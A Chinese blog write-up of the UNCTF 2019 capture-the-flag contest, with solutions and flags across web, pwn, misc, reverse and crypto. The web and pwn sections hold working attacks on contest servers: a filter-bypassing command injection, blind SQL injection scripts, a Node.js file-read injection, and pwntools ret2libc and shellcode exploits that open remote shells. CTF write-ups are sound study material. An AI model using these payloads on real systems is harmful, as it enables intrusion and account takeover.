星期三, 十月 30日 2019, 8:43 晚上

​ 从上周三开始就一直在肝。。。然后就是一周过去了,之间还曾经到了第一(然后第二天直接掉到第六,我太难了),果然这就是菜吧。

(PS:才发现自己好多图都死了。。。会慢慢处理

WEB


bypass

Description

​ unctf_bypass

Analyze

​ 进入网址读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>

​ 然后大概意思就是a,b读取到正则那一大堆的东西中一个时,将a输入到“和”之间,b同理,之后再执行file $a $b的命令。这里想到了闭合标签绕过再换行执行命令,所以构造payload:?a=\&b= %0afi\nd /var/ fl\ag%0a,其实上面判断的只有file "\"" "闭合file,system真正执行的时fi\nd /var/ fl\ag的命令,然后在linux中,'\'分割开的命令仍然可以运行,所以页面返回了

​ 一大堆地址,但是其中发现了/var/www/html/.F1jh_/h3R3_1S_your_F1A9.txt这一个地址,打开后得到flag

Solve

http://101.71.29.5:10054/.F1jh_/h3R3_1S_your_F1A9.txt

flag

1
unctf{86dfe85d7c5842c5c04adae104193ee1}

NSB Reset Password

Description

​ 我们遇到什么glzjin,都不要怕,微笑着面对他,消除glzjin的最好办法就是化身glzjin,坚持,才是胜利,加油,奥力给!!!!!!

Analyze

​ 赵总征婚二度,这题。。真的想了好久一段时间,先是爆破了好久2333。然后就开始各种骚操作乱做。最后莫名奇妙就出来了一次,复现又盘了好久。。。总之,这题就只有一个session,他的重置密码过程是在一条线上的,所以当你已经通过自己邮箱重置自己密码时的最后写密码的时候,再用bp发一个admin重置密码的请求包,你重置的”自己”的密码也就变成了重置admin的密码,登录即可得到flag。

Solve

如上所述

flag

1
flag{175f3098f80735ddfdfbd4588f6b1082}

easy_admin

Description

​ easy_admin

Analyze

​ 开始以为又是个二次注入

​ 试了一下后发现。。。并不对,但是当你在forgetpassword里输入admin ' or '1 = 1'时,页面会返回一个hacker,所以猜测时盲注,使用之前的脚本注入,得到前半段flagflag{never_too,然后这也是admin的密码,登录上去后看见

​ 易得admin都是本地登录的,使用在头加上Referer:127.0.0.1,使其本地登录,得到后半段flag_late_to_x}

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# blind SQL
import requests

url = 'http://101.71.29.5:10045/index.php?file=forget'

flag = ''
proxies={
"http":"http://127.0.0.1:8080/"
}
for i in range(0,40):
for x in range(ord('0'),ord('}')):
payload = "-1'or ascii(substr((password),%d,1))=%d#"%(i,x)
data = {'username':payload}
res = requests.post(url,data=data,proxies=proxies)
# print(res.content)
if 'no'in res.text:
pass
else:
flag += chr(x)
print(flag)
break

flag

1
flag{never_too_late_to_x}

帮赵总征婚

Description

​ 华北最大安全集团NSB老总glzjin最近终于找到了girlfriend,但他现在想要six wife了,你能帮他登录一下这个NSB征婚网站吗?

Analyze

​ 这题一打开F12源码中就有个<!-- I like rockyou! -->的注释,然后知道kali中有个弱密码字典就是rockyou,所以爆破,然后。。。就言简意赅的bp快乐爆破时间

Solve

flag

1
flag{57fc636a42f46c7658110a631256f5cb}

简单的备忘录

Description

Do not forget.

Analyze

​ 这题。。。真实运气,终端补全写得太好了,于是把命令试了一遍。。。就解出来了(PS:后面好像就不行了,emmm算是非预期了吧233

Solve

flag

1
flag{3ad4aaedf408c147d5f747f7ce76d2b4}

checkin

Description

​ checkin

Analyze

​ 怀疑人生的签到题。。。但是聊天室没有禁语屏蔽。。所以看到有大佬说时nodejs注入,然后便去看资料现学2333(不然可能现在都没出来)然后读js发现了

​ 于是猜测是利用/calc的这个case,于是利用主进程的’fs’的读写功能进行命令注入,构建payload/calc process.mainModule.require('fs').readFileSync('/flag','utf-8'); 执行后得到flag

Solve

flag

1
flag{0e4d1980ef6f8a81428f83e8e1c6e22b}

twice injection

Description

​ 已经忘记了题名=。=

Analyze

​ 开始一个sqli的题目,以为只要登录admin登录上去就可以万事大吉,然后。。。就没有然后了,上去后并没有任何作用。。然后换了姿势开始盲注。爆破一段时间后得到flag。

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url1 = "http://101.71.29.5:10002/login_create.php" # 注册
# username password re_password submit=Register
url2 = "http://101.71.29.5:10002/login.php" # 登录
# login_user login_password mysubmit=Login
url3 = "http://101.71.29.5:10002/pass_change.php" # 密码重置
# current_password password re_password submit=Reset
sess = requests.session()
num = 1
content = ''
for i in range(1,100):
for j in range(32,127):
res1 = sess.post(url=url1,data={"username":"a' && ascii(substr((select b.1 from (select 1 union select* from fl4g)b limit 1,1),%d,1))=%d#" % (i,j)
,"password":"a","re_password":"a","submit":"Register"})
res2 = sess.post(url=url2,data={"login_user":"a' && ascii(substr((select b.1 from (select 1 union select* from fl4g)b limit 1,1),%d,1))=%d#" % (i,j)
,"login_password":"a","mysubmit":"Login"})
res3 = sess.post(url=url3,data={"current_password":"%d" % num,"password":"%d" % num,"re_password":"%d" % num,"submit":"Reset"})
if res3.text.find("successfully") != -1:
content = content + chr(j)
print(content)
num = num + 1

flag

1
UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}


PWN


babyrop

Description

​ babyrop

Analyze

​ 巨婴题,checksec后发现是

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

​ 于是。。。。wiki在线脚本,首先IDA分析程序,并没有System函数,所以猜测ret2libc,第一个绕过

​ 使v2为’ffff’,所以buf为'a'*0x30+4*'f',然后继续进入函数

​ 发现对result的地址有限制,使用gadget绕过,最后是脚本一把梭。

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
# coding=utf-8

from pwn import *
import sys
import LibcSearcher
local = 0
attach = 0
if local:
p = process("./1910255db2c8f9717e5")
context.log_level='debug'
if attach == 1:
gdb.attach(p,'b *0x0804854B\nc')
else:
p = remote("101.71.29.5",10041)

p.recvuntil('Hello CTFer!')
p.sendline('A'*0x20+'f'*4)
elf = ELF('./1910255db2c8f9717e5')
puts_plt = elf.plt['puts']
lsmg = elf.got['__libc_start_main']
main = 0x0804853D
trush = 0x0804839e
payload = 'A'*(0x10+4)+p32(trush)+p32(puts_plt)+p32(main)+p32(lsmg)
p.recvuntil('?\n')
p.sendline(payload)

a = p.recv(4)
__libc_start_main = u32(a)
libc = LibcSearcher.LibcSearcher('__libc_start_main',__libc_start_main)
libcbase = __libc_start_main - libc.dump('__libc_start_main')
system_addr = libcbase+libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
p.recvuntil('?\n')
payload = 'A'*(0x10+4)+p32(trush)+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p.sendline(payload)

p.interactive()

flag

1
UNCTF{7ef293810e29039f061982e72fd10bfb}

EasyShellcode

Description

​ unctf_EasyShellcode

Analyze

​ 打开IDA分析

​ 可以看出最后的shellcode是在a-zA-Z0-9的范围内,然后搜到了V爷爷(veritas501)的github内有转换的脚本,然后就直接用了233(ps:我好菜啊)

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# coding=utf-8

from pwn import *
import ae64

p = remote('101.71.29.5',10080)
p.recvuntil('o say?')
sc = asm(shellcraft.sh())
obj = ae64.AE64()
sc = obj.encode(sc)
#WTYH39Yj0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZjWTYfi9WU0T8A0t8B0t8F0t8G0t8H0T8LRAPZ0T8MZ0t8Q0t8R0T8S0t8U0t8V0t8W0t8X0t8YjmTYfi9wFRAPZ0T8AZRAPZ0t8DZRAPZ0t8EZ0t8GRAPZ0T8HZ0T8KRAPZ0T8LZRAPZ0T8NZ0t8P0t8R0t8SjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP
p.sendline(sc)
p.interactive()

flag

1
UNCTF{x64_A5c11_shE11c0dE_i5_50_Ea5y}

Soso_easy_pwn

Description

​ Just_case.答案提交flag{}括号内的值。如果靶机不能正常访问,请将端口号改为10009

Analyze

​ 这题一开始checksec进去就看见

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

​ emmm差点就没做下去,然后丢IDA里,然后就看见了PIE的特点以及可以利用的一个函数

​ 然后看到main函数里有给前面的地址

​ 所以每次连接都会有前四位地址的爆出

​ 所以最后我们可以溢出新建一个case来得到shell

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import re

p = remote('101.71.29.5',10000)


a = int(re.findall("\d+",p.recvline())[0])
p.recvline()
b = 0x9CD
addr = (a<<16)+b+(0<<12)
p.send('a'*12+p32(addr))
p.readuntil('byebye):')
p.sendline('3')
p.interactive()

flag

1
UNCTF{S0_so_E4zy_Pwn}


MISC


快乐游戏题

Description

​ 快乐游戏题

Analyze

​ 玩游戏就完事了

Solve

flag

1
UNCTF{c783910550de39816d1de0f103b0ae32}

Hidden secret

Description

​ unctf_Hidden secret 题目下载链接更新为: 链接:https://pan.baidu.com/s/125zN2324w-lV8ASXfa5zYw 提取码:psp2 hint:no NTFS,easier

Analyze

​ 开头得到三个文件,但是看到文件头03 0401 0205 06,就知道是去掉了504B的zip文件,加上后拼接得到zip,解压得到一张图。

​ 起始一开始是NTFS隐写,但是emmm题目出错了,后面就简单的加了个zip文件,解压后得到一个txt

1
K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#

​ 然后各种编码猜测,最后锁在了base64+的编码里,然后因为@和]两个字符确定是base92的编码,然后python里解密一把梭得到flag

Solve

1
2
import base92
print(base92.decode("K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#"))

flag

1
unctf{cca1a567c3145b1801a4f3273342c622}

EasyBox

Description

unctf_EasyBox 

Analyze

​ nc上去后是数独题,根据题目来解题,算法是参考的网上 https://blog.csdn.net/zonnin/article/details/78813698 ,但是里面有

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

p = remote('101.71.29.5',10011)
d = p.recvuntil('row ').decode().split('\n')[-20:-1]
da = []
#将数独转化成列表形式
for i in range(int(len(d)/2)):
da.append(d[2*i+1])
for i in range(len(da)):
da[i]=da[i].split('|')
for i in range(len(da)):
del da[i][0]
del da[i][-1]
for j in range(len(da[i])):
if da[i][j]==' ':
da[i][j] = '0'
for x in range(len(da)):
for y in range(len(da[x])):
da[x][y] = int(da[x][y])
# print(da[x][y],end=' ')
# print()


def not_done(s):#是否结束
return True in [0 in r for r in s]

def get_row(s,r):#获得行数据
return s[r]

def get_column(s,c):#获得列数据
return [r[c]for r in s]

def possible(s,r,c):#是否可行
return [i for i in range(1,10)\
if i not in get_row(s,r)
and i not in get_column(s,c)]

def go_around(s):#解数独
ans = []
for index_r,r in enumerate(s):
row = []
for indew_c,c in enumerate(r):
if c == 0:
maybe_ans = possible(s,index_r,indew_c)
row.append(maybe_ans[0] if len(maybe_ans) == 1\
else 0)
else:
row.append(c)
ans.append(row)
return ans

def print_sudoku(s, msg='1'):#打印数独
print(msg)
for r in s:
print(" ".join([str(c) for c in r]))
print("*"*18)
n_da = da

while not_done(n_da):
n_da = go_around(n_da)
print_sudoku(n_da)

sendl = ''
# print(da)
# print(n_da)
for x in range(len(da)):#将0的部分发送
for y in range(len(da[x])):
if da[x][y] == 0:
sendl+=str(n_da[x][y])+','
p.recvuntil('answer :')
p.sendline(sendl[:-1])
sendl = ''
p.interactive()

flag

1
flag{b613e841e0822e2925376d5373cbfbc4}

Happy_puzzle

Description

​ Happy_puzzle 签到人的又一力作 hint1: png吧 hint2:data不是图片,要拼图 hint3:idat数据块

Analyze

​ 根据hint得知是idat的数据块,于是写脚本拼接完整的png图片,一层一层的idat爆破出来(半自动脚本。。。

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
head= bytearray.fromhex('89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 00 00 00 00'.replace(' ',''))
idata = bytearray.fromhex('00 00 28 00 49 44 41 54'.replace(' ',''))
crc = bytearray.fromhex('00000000')
end = bytearray.fromhex('00 00 00 00 49 45 4E 44 AE 42 60 82'.replace(' ',''))

dir = r'f\puzzle'
data_name = os.listdir(dir)

w1 = open(r'f\puzzle\res\11.png','rb')
data1 = w1.read()
w1.close()

for i in range(len(dir)):
path = os.path.join(dir, data_name[i])
if path[-5:]=='.data':
a = open(path,'rb')
da = a.read()
a.close()
data = data1+idata+da+crc
b = open('res\\'+str(i)+'.png','wb')
b.write(data)
b.close()

flag

1
unctf{312bbd92c1v291e1827ba519326b6688}

信号不好我先挂了

Description

​ 信号不好我先挂了。 Flag交不上,多换几种格式。

Analyze

​ 开局一张图

​ 然后丢进Stegsolve分析,发现

​ 易得是一个LSB隐写,继续解密后得到一个zip,解压后得到另一个图片

​ 把这个也丢进stegsolve中分析,得到

​ 有一些条纹,然后又有两张图,易得是盲水印隐写,最后得到flag

Solve

flag

1
unctf{9d0649505b702643}

Think

Description

​ Think

Analyze

​ 打开一个网页,看到

​ 看到里面有个checknum,想着改成1会怎么样,然后。。。就得到flag了

Solve

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# coding=utf-8

print """
____ ___ _ ___ _ _ _ _ ____ _____ _____
|___ \ / _ \/ |/ _ \ | | | | \ | |/ ___|_ _| ___|
__) | | | | | (_) | | | | | \| | | | | | |_
/ __/| |_| | |\__, | | |_| | |\ | |___ | | | _|
|_____|\___/|_| /_/ \___/|_| \_|\____| |_| |_|
"""

(lambda __y, __operator, __g, __print: [[[[(__print("It's a simple question. Take it easy. Don't think too much about it."), [(check(1), None)[1] for __g['checknum'] in [(0)]][0])[1] for __g['check'], check.__name__ in [(lambda checknum: (lambda __l: [(lambda __after: (__print('Congratulation!'), (__print(decrypt(key, encrypted)), __after())[1])[1] if __l['checknum'] else (__print('Wrong!'), __after())[1])(lambda: None) for __l['checknum'] in [(checknum)]][0])({}), 'check')]][0] for __g['decrypt'], decrypt.__name__ in [(lambda key, encrypted: (lambda __l: [[(lambda __after, __sentinel, __items: __y(lambda __this: lambda: (lambda __i: [[__this() for __l['c'] in [(__operator.iadd(__l['c'], chr((ord(__l['key'][(__l['i'] % len(__l['key']))]) ^ ord(__l['encrypted'][__l['i']].decode('base64').decode('hex'))))))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(lambda: __l['c'], [], iter(range(len(__l['encrypted'])))) for __l['c'] in [('')]][0] for __l['key'], __l['encrypted'] in [(key, encrypted)]][0])({}), 'decrypt')]][0] for __g['encrypted'] in [(['MTM=', 'MDI=', 'MDI=', 'MTM=', 'MWQ=', 'NDY=', 'NWE=', 'MDI=', 'NGQ=', 'NTI=', 'NGQ=', 'NTg=', 'NWI=', 'MTU=', 'NWU=', 'MTQ=', 'MGE=', 'NWE=', 'MTI=', 'MDA=', 'NGQ=', 'NWM=', 'MDE=', 'MTU=', 'MDc=', 'MTE=', 'MGM=', 'NTA=', 'NDY=', 'NTA=', 'MTY=', 'NWI=', 'NTI=', 'NDc=', 'MDI=', 'NDE=', 'NWU=', 'MWU='])]][0] for __g['key'] in [('unctf')]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), __import__('operator', level=0), globals(), __import__('__builtin__', level=0).__dict__['print'])

flag

1
flag{34a94868a8ad9ff82baadb326c513d40}

亲爱的

Description

​ 宁就是HSY? 答案提交UNCTF{flag}。

Analyze

​ 开局一个mp3,丢到HxD中看,后面有个zip的,foremost后得到一个加密的zip,然后看见文件最后的qqqmusic于是去QQ音乐找了下原曲,发现评论中

​ 于是解压,然后图片里又有一个zip(其实应该是word),然后在里面找到了flag的图片

Solve

flag

1
UNCTF{W3_L0v3_Unctf}

无限迷宫

Description

​ 啊哈,来走迷宫试试看啊,很简单的,哈哈哈哈哈哈。 Hint1:图片大小 Hint2:上下左右,1234 Hint3:密码高达几百位,请勿爆破 Hint4:128层,停止手工尝试 Hint5:题目没有其他解法,和你心里想的其实是一样的 Hint6:重申停止手工尝试,迷宫不是给人走的 答案提交flag{}括号内的值。

Analyze

​ 是人出的题?(出题人出来挨打),意思很明白,脚本解迷宫再解压,其他都在脚本备注里

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from PIL import Image
import numpy as np
import sys
import os

sys.setrecursionlimit(999999)# 递归层数

step = []

def useful(maze, x, y):# 判断是否为有效的区域内
if x >= 0 and x < len(maze) and y >= 0 and y < len(maze[0]) and maze[x][y] == True:
return True
else:
return False

def walk(mg, x, y, ex, ey):# 网上找的迷宫递归代码=。=
global step
if x == ex and y == ey:
step.append((x, y))
solve(step)

if useful(mg, x, y):
step.append((x, y))
mg[x][y] = 2
walk(mg, x, y + 1, ex, ey)
walk(mg, x, y - 1, ex, ey)
walk(mg, x - 1, y, ex, ey)
walk(mg, x + 1, y, ex, ey)

def solve(step):#也是网上的=。=,后面加了点东西
change_records = []
for i in range(len(step) - 1):
if (abs(step[i][0] - step[i + 1][0]) == 0 & abs(step[i][1] - step[i + 1][1]) == 1) or (abs(step[i][0] - step[i + 1][0]) == 1 & abs(step[i][1] - step[i + 1][1]) == 0):
pass
else:
change_records.append(i + 1)
clip_nums = []
for i in change_records:
for j in range(i):
if (abs(step[j][0] - step[i][0]) == 0 & abs(step[j][1] - step[i][1]) == 1) or (abs(step[j][0] - step[i][0]) == 1 & abs(step[j][1] - step[i][1]) == 0):
break
clip_nums.append((j, i))

rc = []# 将行走路径计入rc中,并得到step的解密路径
for i in clip_nums[::-1]:
if not ((i[0] in rc) | (i[1] in rc)):
step = step[:i[0] + 1] + step[i[1]:]
rc += list(range(i[0], i[1]))
tmp = step[0]#将解密路径转化成1234的密码(出题人的恶意)
res = ''
for i in range(1,len(step)):
if (tmp[0] > step[i][0]) & (tmp[1] == step[i][1]):
res += '1'
elif(tmp[0] < step[i][0])&(tmp[1] < step[i][1]):
res += '2'
elif(tmp[0] == step[i][0])&(tmp[1] > step[i][1]):
res += '3'
else:
res += '4'
tmp = step[i]
out = ''# 因为矩阵转化会多出来一位数,所以我们只取奇数位(偶数也行)
for i in range(int(len(res)/2)):
out+=res[2*i+1]
print('Over!!!!')
print(out)
files = os.listdir('.')#系统解压zip,网上找了个改了一下(我好水啊)
for filename in files:
file = os.path.splitext(filename)
if file[1] == '.jpg':
newname = file[0] + '.zip'
os.rename(filename, newname)
cmd = 'unzip -P ' + out + ' flag.zip'
os.system(cmd)

# 图形矩阵化
def black(c): #黑色边框判断
if c[0] <= 25 and c[1] <= 25 and c[2] <= 25:
return True
else:
return False

def start(c, y, x): #起点判断
for i in range(8):
for j in range(8):
if (abs(c[y+i-3][x+j-3][0] - 196) <= 25) and (abs(c[y+i-3][x+j-3][1] - 46) <= 25) and (abs(c[y+i-3][x+j-3][2] - 35) <= 25):
return True
return False

def end(c, y, x): #终点判断
for i in range(6):
for j in range(6):
if (abs(c[y+i-3][x+j-3][0] - 255) <= 25) and (abs(c[y+i-3][x+j-3][1] - 210) <= 25) and (abs(c[y+i-3][x+j-3][2] - 81) <= 25):
return True
return False

def block_size(imgz, size): #像素大小
ans = 0
for i in range(5, size[0]):
if black(imgz[i][i]):
ans = i
break
block = size[0] // ans
return block

def maze(img,size):# 图像矩阵化
maze = []
block = block_size(img, size)
truely = size[0] // block
x1 = (size[0] // truely) * 2
y1 = (size[1] // truely) * 2
start_y = 0
end_y = 0
start_x = 0
end_x = 0
for y2 in range(y1):
line = []
y = int(y2 * (truely / 2))
for x2 in range(x1):
x = int(x2 * (truely / 2))
if black(img[y][x]):
line.append(0)
else:
line.append(1)
if start(img, y, x):
start_y = y2
start_x = x2
if end(img, y, x):
end_y = y2
end_x = x2
if y2 % 2 == 0:
end_y -= 1
maze.append(line)
walk(maze, start_y, start_x, end_y, end_x)

if __name__ == '__main__': # 主函数
img = np.array(Image.open('flag.jpg').convert('RGBA'))
maze(img, (len(img[0]), len(img)))

​ 最后再加个死循环脚本让他自己动,解压到最后就是flag.txt

1
2
3
4
5
#!/bin/bash 
while true
do
python maze.py
done

flag

1
flag{af810046166d7b8a9c87227fcf341290}


REVERSE


奇怪的数组

Description

​ unctf_奇怪的数组

Analyze

​ 直接丢IDA

​ 发现其实就是判断输入是不是0-9a-f这里面的值,然后在和checkbox栈里的值比较

Solve

​ 然后其实里面的值就是flag=。=

1
2
3
4
s1 = 'flag{'
s = 'ad461e203c7975b35e527960cbfeb06c}'
flag = s1+s
print(flag)

flag

1
flag{ad461e203c7975b35e527960cbfeb06c}

unctf_easy_Maze

Description

​ unctf_easy_Maze

Analyze

​ 复杂的IDA使我选择动调,在step1后加断点,然后查看RDX的内存,得到迷宫

之后直接走迷宫

1
2
3
4
5
6
7
1001111
1011001
1110111
0001100
1111000
1000111
1111101

Solve

​ 然后可以通过程序验证flag,只有两个解,一个是ssddwdwdddssaasasaaassddddwdds,一个是waasaaaawwdddwdwddwwaaasasaaww,最后得到flag

flag

1
UNCTF{ssddwdwdddssaasasaaassddddwdds}

666

Description

​ 答案提交flag{}括号内的值。

Analyze

​ 丢进IDA,分析得到他的encode函数,然后解密即可

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
'''
a2 + i = (a1[i] + 6) ^ key
a2 + i + 1 = (a1[i + 1] - 6) ^ key
a2 + i + 2 = a1[i + 2] ^ 6 ^ key
'''

enflag = '''izwhroz""w"v.K".Ni'''
flag = ''
for i in range(6):
flag += chr((ord(enflag[3*i])^18)-6)
flag += chr((ord(enflag[3*i+1])^18)+6)
flag += chr((ord(enflag[3*i+2])^18)^6)
print(flag)

flag

1
unctf{b66_6b6_66b}

BabyXor

Description

​ 答案提交flag{}括号内的值。

Analyze

​ 文件加了壳,随便找了个去壳机去了壳硬IDA分析,然后得到大概是三段加密,所以变成三段解密

1
v1 =i^s1[i]

1
v2 = s1[i]^s2[i]^s1[i-1]

1
v3 = s3[i+1]^ord(v2[i])^i

​ 然后读取栈中的数据解密

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
s1 = [0x66,0x6D,0x63,0x64,0x7F,0x37,0x35,0x30,0x30,0x6B,0x3A,0x3C,0x3B,0x20]
'''
v1 =i^s1[i]
'''
s2 = [0x37,0x6F,0x38,0x62,0x36,0x7C,0x37,0x33,0x34,0x76,0x33,0x62,0x64,0x7a]
'''
v2 = s1[i]^s2[i]^s1[i-1]
'''
s3 = [0x1a,0x0,0x0,0x51,0x5,0x11,0x54,0x56,0x55,0x59,0x1D,0x9,0x5D,0x12]
'''
v3 = s3[i+1]^ord(v2[i])^i
'''
flag1 = ''
flag2 = ''
flag3 = ''
for i in range(len(s1)):
f = chr(s1[i]^i)
flag1 += f
print(flag1)
for i in range(len(s2)):
if i ==0:
f = chr(s1[i]^s2[i]^s1[0])
else:
f = chr(s1[i]^s2[i]^s1[i-1])
flag2 += f
print(flag2)
for i in range(len(s3)-1):
f = chr(s3[i+1]^ord(flag2[i])^i)
flag3 += f
print(flag3)
flag = ''
flag = flag1+flag2+flag3
print(flag)

flag

1
flag{2378b077-qd6e-4564-bdca-7eec8eede9a2}


CRYPTO


AES和ECC基础

Description

​ post flag到http://132.232.125.125

Analyze

​ 开始得了个AES和ECC.sage,但是AES就是简单解密,却少条件,条件在ECC中,然后ECC已知条件挺多的,把k爆破出来以后就可以得到aes_key,最后AES解密即可

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# ECC
import sage
E=EllipticCurve(GF(15424654874903),[16546484,4548674875])
G=E(6478678675, 5636379357093)
K=E(2854873820564,9226233541419)
X=G
for i in rane(1,n):
if X == K:
k = i
print "[+]k:",i
break
else:
X = X+G
print i
#k=2019813
c1 = E([6860981508506,1381088636252])
c2 = E([1935961385155,8353060610242])
m = c1 - (c2 * k)
aes_key = m[0]
#aes_key=1026
1
2
3
4
5
6
7
8
9
10
# AES
from Crtpyo.Cipher import AES
import base64

key = bytes('1026'.ljust(16,' '))
aes = AES.new(key,AES.MODE_ECB)

enc = '/cM8Nx+iAidmt6RiqX8Vww=='
text = aes.decrypt(text)
#text = this_is_a_flag

flag

1
401E48C9A96DC219C32AB5E75204B655

不仅仅是RSA

Description

​ It’s not only RSA. 答案提交flag{}括号内的值。

Analyze

​ 恶魔出题人两分钟的莫斯密码(出来挨打!!!),然后得到c1,c2,其他均可用openssl或计算获得

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# coding=utf-8
import gmpy2
from gmpy2 import mpz
def gcd(a,b):
if b!=0:
return gcd(b,a%b)
else:
return a
c1=mpz(4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351)
c2=mpz(485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349)
n11 = 'C461B3ED566F2D68583019170BDD5263D113BAECE3DEE6631F08A166376AC41FF5D4E90B3330E0FC26993E3B353F38F9B6B880DFBC5807636497561B7611047B'
n1 = mpz(int(n11,16))
n22 = 'A36E3A2A83FE2C1E33F285A08C3ECD36E377F4D9FFE828E2426D3ECED0A7F947631E932AEC327555511AC6D71E72686C1CB7DBBF3859A4D9A3D344FBF12A9553'
n2 = mpz(int(n22,16))
q = gcd(n1,n2)
p1 = n1/q
p2 = n2/q
e = mpz(41221)
ni1 = (p1-1)*(q-1)
ni2 = (p2-1)*(q-1)
d1 = gmpy2.invert(e,ni1)
d2 = gmpy2.invert(e,ni2)

m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)

print(m1,m2)

m11 = hex(int(m1)).replace('0x','').replace('L','')
m22 = hex(int(m2)).replace('0x','').replace('L','')
print(bytearray.fromhex(m11)+bytearray.fromhex(m22))

flag

1
UNCTF{ac01dff95336aa470e3b55d3fe43e9f6}

一句话加密

Description

​ Easy_Crypto 答案提交flag{}括号内的值。

Analyze

​ 找到图片最后的n,发现n和Jarvis OJ Hard RSA的一模一样。。。然后之前有存那个的Rabin攻击脚本,就直接一把梭了

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# coding=utf-8
import gmpy

def n2s(num):
t = hex(num)[2:]
if len(t) % 2 == 1:
return ('0'+t).decode('hex')
return t.decode('hex')
def solve(c):
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,(p+1)/4,p)
s = pow(c,(q+1)/4,q)
a = gmpy.invert(p,q)
b = gmpy.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n

print n2s(x%n)
print n2s((-x)%n)
print n2s(y%n)
print n2s((-y)%n)

c1 = 62501276588435548378091741866858001847904773180843384150570636252430662080263
c2 = 72510845991687063707663748783701000040760576923237697638580153046559809128516
solve(c1)
solve(c2)

flag

1
unctf{412a1ed6d21e55191ee5131f266f5178}

​ 最后说一句,这次题目质量还行,做得很爽(肝了一周。。。),但是里面有些题还是比较偏向脑洞和开发23333,希望比赛以后越办越好吧



CTF UNCTF

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Toc: